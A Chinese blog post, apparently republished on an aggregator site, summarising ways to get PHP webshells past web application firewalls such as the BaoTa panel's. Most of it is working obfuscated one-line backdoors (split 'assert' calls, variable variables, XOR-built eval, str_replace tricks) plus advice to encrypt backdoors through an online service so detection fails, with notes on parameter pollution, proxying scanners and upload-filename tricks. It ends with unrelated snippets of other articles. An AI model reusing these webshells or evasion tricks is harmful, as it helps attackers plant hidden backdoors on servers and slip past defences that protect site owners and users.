WAF攻防相关知识点总结2-代码免杀绕过

news/2024/7/8 3:52:40 标签: WAF, 网络安全

WAF的检测除了有对于非正常的流量检测外还对于非正常的数据包特征进行检测

以宝塔为例

在宝塔的后台可以放置一句话木马的文件

宝塔不会对于这个文件进行拦截,但是一旦我们使用菜刀蚁剑等webshell工具去进行连接的时候,数据报中有流量特征就会被拦截

经过检测可以知道是waf对于数据报中的关键字进行了检测

绕过思路

传参绕过:waf拦截使用的是正则表达式,匹配函数的关键字

绕过思路就是把关键字的函数代码以参数值的形式进行发送

一句话木门是<?php eval($_POST['x'])?>

1.使用参数传递进行绕过
<?php
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>

连接方式 ?a=ass

post: x=base64encode('后门代码')

绕过宝塔的后门代码

<?php
$a='b';
$b='assert';
$$a(base64_decode($_POST['x']));
?>
2.变量覆盖

可以再进行混淆

<?php
$a=$_GET['1'];
$b=$_GET['2'];
$$a($_POST['3']);
?>

连接方式1=b&2=assert

3.异或运算绕过

为了绕过waf的检测,我们可以使用异或运算来组成我们需要的后门代码。抑或运算的原理是使用两个特殊字符进行抑或获得我们需要的字符,这种一位异或使用的是特殊字符如$、@等等,如果waf采取的是字符过滤就很难拦截这种报文

举个例子

在php中我们使用!和@进行抑或即可以获得到字母a,这样的话就可以使用以异或运算绕过检测

<?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?>
4.代码后门加密(推荐使用)

使用加密平台加密我们的后门代码基本上可以实现通杀

PHP加密 - PHP在线加密平台 (phpjm.net)

加密代码的结果

这种在线的加密方式往往采用的是特殊的 秘钥进行加密,平台不知道秘钥的情况下就无法对于文件中的内容进行解密分析,判断其中是否有后门

5.参数污染

不的中间件解析我们传递参数的方式不同

我们可以根据中间件和waf结合的特性去向网站提交数据,如果网站接收的数据和waf拦截的方式不同,我们就可以将同一个参数提交两次,在waf拦击的地方传入合法的值,在网站接收的地方传入注入语句就可以绕过waf实现注入攻击,不过这种情况已经十分少见不常使用,作为知识补充

5.代理设置

我们在进行xss,SQL注入等等测试的时候为了找到漏洞点往往需要使用大量的的测试语句进行测试,为此我们在使用工具的时候需要配代理来绕过网站对于流量的检测从而达到我们的测试实验目的像sqlmap,xsstrike等工具都可以设置代理进行测试,使用时候查阅相关文档即可

6.其他的一些绕过手段

上传文件的时候可以使用同种类型的文件进行替代绕过检测,但是前提条件是后端支持相似文件后缀的解析,通过简单的访问就可以检测出是否支持,如果在这次,就会正常访问,如果不解析,就会出现下载等一系列其他的文件操作行为

操作系统自身的一些特点,例如文件名的结尾有点、空格等字符会自动被过滤但是代码检测的时候由于特殊字符干扰就可以绕过一些waf的检测

使用php中自带的replace函数,将代码中的关键字进替换从而绕过检测

txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);

换行绕过

我们可以将php后缀改为

p

h

p

的形式,后端代码在检测的时候会有换行符干扰从而绕过检测,不过大部分waf已经对于这种进行拦截,基本失效

不过这些方式大部分已经被waf修复,实战中利用价值不是很大,作为知识的积累和补充    

写在最后

如有错误,请及时指出,感谢


http://www.niftyadmin.cn/n/5334269.html

相关文章

旅游项目day03

1. 前端整合后端发短信接口 2. 注册功能 后端提供注册接口&#xff0c;接受前端传入的参数&#xff0c;创建新的用户对象&#xff0c;保存到数据库。 接口设计&#xff1a; 实现步骤&#xff1a; 手机号码唯一性校验&#xff08;后端一定要再次校验手机号唯一性&#xff09…

微信小程序安卓系统下Input输入内容上移错位问题的解决办法

在较长的表单中&#xff0c;页面可能需要滑动&#xff0c; 在这种情况下&#xff0c;在苹果手机上使用Input显示正常&#xff0c;但是在安卓手机上就会出现输入内容上移错位的问题,严重影响使用 需要设置一个状态控制scroll-view是否允许滑动&#xff0c;当Input获取焦点是&am…

OpenAI/ChatGPT Plus 支持的虚拟卡有哪些

最近&#xff0c;有关 OpenAI/ChatGPT Plus 需要信用卡的讨论越来越多。在这篇文章中&#xff0c;我将分享一些我在绑定信用卡过程中得到的经验和教训&#xff0c;以及 OpenAI/ChatGPT Plus 支持的卡类型。 不支持的卡 根据 OpenAI 的地区限制&#xff0c;国内和香港的卡都不…

港澳台验证码海外短信群发教程,利用阿里云国际如何实现境外短信操作

国际/港澳台消息服务是阿里云为全球企业客户提供的消息发送服务&#xff0c;通过API/SDK方式调用消息发送能力&#xff0c;将指定信息发送至境外手机号码&#xff0c;用于企业向用户发送验证码、系统通知、会员服务等消息&#xff1b;支持客户从中国境内向港澳台及其他境外手机…

鸿蒙使用第三方SO库

一、示例&#xff1a; 使用第三方SO库以导入OpenCV和MNN的SO库为例 1、将MNN和Opencv的so文件(包括.407文件)&#xff0c;放入模块下libs目录对应的版本(arm64-v8a和armeabi-v7a) entry/libs/arm64-v8a/xxx.so2、配置模块目录下的build-profile.json5的buildOption字段&…

PyTorch各种损失函数解析:深度学习模型优化的关键(2)

目录 详解pytorch中各种Loss functions mse_loss 用途 用法 使用技巧 注意事项 参数 数学理论公式 代码演示 margin_ranking_loss 用途 用法 使用技巧 注意事项 参数 数学理论公式 代码演示 multilabel_margin_loss 用途 用法 使用技巧 注意事项 参数 …

力扣每日一练(24-1-18)

经验一&#xff1a;不要把问题想复杂 Python&#xff1a; min_price float(inf)max_profit 0for price in prices:min_price min(min_price, price)max_profit max(max_profit, price - min_price)return max_profit C#&#xff1a; public int MaxProfit(int[] prices) {i…

MySQL中锁的概述

按照锁的粒度来分可分为&#xff1a;全局锁&#xff08;锁住当前数据库的所有数据表&#xff09;&#xff0c;表级锁&#xff08;锁住对应的数据表&#xff09;&#xff0c;行级锁&#xff08;每次锁住对应的行数据&#xff09; 加全局锁&#xff1a;flush tables with read lo…